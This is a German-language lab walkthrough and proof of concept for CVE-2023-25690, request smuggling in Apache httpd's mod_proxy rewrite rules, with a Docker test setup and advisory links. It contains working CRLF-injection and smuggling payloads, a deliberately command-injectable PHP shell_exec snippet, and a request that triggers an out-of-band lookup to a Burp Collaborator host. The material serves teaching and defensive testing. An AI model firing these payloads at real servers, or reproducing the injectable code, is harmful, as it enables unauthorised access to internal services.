
CVE 2023 25690 Proof of Concept – Verwundbare mod_proxy-Konfiguration in Apache HTTP Server Versionen 2.4.0 bis 2.4.55 führt zu einer HTTP Request Smuggling-Schwachstelle.
Einige mod_proxy-Konfigurationen auf Apache HTTP Server Versionen 2.4.0 bis 2.4.55 ermöglichen einen HTTP-Request-Smuggling-Angriff. Betroffen sind Konfigurationen, bei denen mod_proxy zusammen mit einer Form von RewriteRule oder ProxyPassMatch aktiviert ist, wobei ein nicht spezifisches Muster einen Teil der vom Benutzer bereitgestellten Request-Target-Daten (URL) abgleicht und diese dann mithilfe von Variablenersetzung wieder in das proxierte Request-Target eingefügt werden. Zum Beispiel etwa:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Request-Splitting/Smuggling kann zur Umgehung von Zugriffskontrollen im Proxy-Server führen, zur Weiterleitung ungewollter URLs an bestehende Ursprungsserver und zu Cache-Poisoning. Benutzern wird empfohlen, auf mindestens Version 2.4.56 des Apache HTTP Server zu aktualisieren.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Die Einbindung von RewriteEngine on in die Apache-Konfiguration aktiviert die URL-Umschreibungs-Engine. URL-Rewriting ist eine Technik, die Webservern ermöglicht, die von einem Client-Browser angeforderten URLs vor der Auslieferung des Inhalts dynamisch in eine andere URL zu ändern.
Nehmen wir zum Beispiel an, wir haben die folgende URL-Struktur für einen Online-Shop:
https://example-shop.com/categories/1
Angenommen, die folgende RewriteRule-Direktive befindet sich in einer Apache-Konfigurationsdatei:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Wenn ein Benutzer die URL https://example-shop.com/categories/1 anfordert, gleicht die RewriteRule die URL ab und erfasst den Wert 1 mithilfe des regulären Ausdrucks ^/categories/(.*). Die Regel schreibt die URL dann zu http://example-shop.com:8080/categories?id=1 um, indem sie den erfassten Wert als Abfrageparameter id an die umgeschriebene URL anhängt.
Da das [P]-Flag in der Regel vorhanden ist, behandelt Apache die umgeschriebene URL als Proxy-Anfrage und leitet sie mit dem Abfrageparameter id=1 an den Zielserver unter http://example-shop.com:8080/categories weiter. Der Zielserver verarbeitet dann die Anfrage und sendet die Antwort an Apache zurück, der sie an den Client weiterleitet.
Zusammenfassend wird die RewriteRule-Direktive mit dem [P]-Flag verwendet, um URLs umzuschreiben und sie an einen anderen Server weiterzuleiten. In diesem Fall gleicht die Regel URLs ab, die mit /categories/ beginnen, und hängt den erfassten Wert als Abfrageparameter id an die umgeschriebene URL an. Apache leitet die Anfrage dann an den Zielserver weiter, der die Anfrage verarbeitet und die Antwort zurückgibt.
Was schließlich ProxyPassReverse /categories/ http://example-shop.com:8080/ betrifft, ersetzt diese Zeile einfach die Domain und den Pfad des Backend-Servers durch die Domain und den Pfad des Proxy-Servers, sodass der Client Links korrekt folgen und auf Inhalte des per Proxy angebundenen Backend-Servers zugreifen kann, als ob sie direkt vom Proxy-Server ausgeliefert würden.

Um die Verwundbarkeit in Apache zu simulieren, verwenden wir die httpd-Version 2.4.55. Darüber hinaus wird das gesamte Labor in Docker containerisiert, um Einrichtung, Konfiguration und Reproduzierbarkeit zu verbessern.
Die Dateistruktur des Labors ist wie folgt:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
Die endgültige httpd.conf-Konfiguration ist wie folgt aufgebaut:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Verwenden Sie den Befehl docker-compose.exe up --build, um das Labor zu starten.
In diesem Abschnitt erkläre ich, wie eine CRLF-Injection zu internem HTTP-Request-Smuggling führen kann und einem Angreifer unbefugten Zugriff auf interne Ressourcen ermöglicht, die andernfalls unzugänglich wären.
Basierend auf der Beschreibung des Advisories ist httpd <=2.4.55 anfällig für HTTP Response Splitting, auch bekannt als CRLF-Injection.
Die CRLF-Injection tritt auf, wenn:
was in unserem Fall bestätigt werden kann, indem das folgende CRLF-Präfix in die URL eingefügt wird:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Durch Anhängen des obigen Präfixes an die URL ergibt sich die folgende endgültige Anfrage:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Nach der Anfrage verarbeitet der Server die Daten und gibt einen 200-Antwortcode zurück, der die Anfälligkeit für CRLF-Injection anzeigt.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Weitere Informationen zu HTTP Request Splitting finden Sie hier: https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Mit der Header-Injection führen wir das interne HTTP-Request-Smuggling durch.
Beginnen wir mit dem folgenden Präfix:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
und der folgenden Anfrage
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Nach Anwendung der Rewrite-Regel wird die Anfrage in das folgende Format umgewandelt:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
wobei die kodierte URL in gültige HTTP-Syntax dekodiert wird, wodurch das Backend die dekodierten Daten als zweite Anfrage behandelt.
Angenommen, unsere interne Anwendung enthält den folgenden geheimen Code:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
Mit dem folgenden Präfix sind wir in der Lage, die zweite Anfrage an die versteckte Funktionalität zu senden:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
und die Anfrage auf dem Burp Collaborator abzurufen:

Patches:
Die Auswirkung dieser Verwundbarkeit besteht darin, dass Angreifer interne Anwendungen anvisieren und darauf zugreifen können, die durch den Reverse-Proxy verborgen werden sollen, was möglicherweise zu unbefugtem Zugriff, Datenlecks oder weiterer Ausnutzung führt.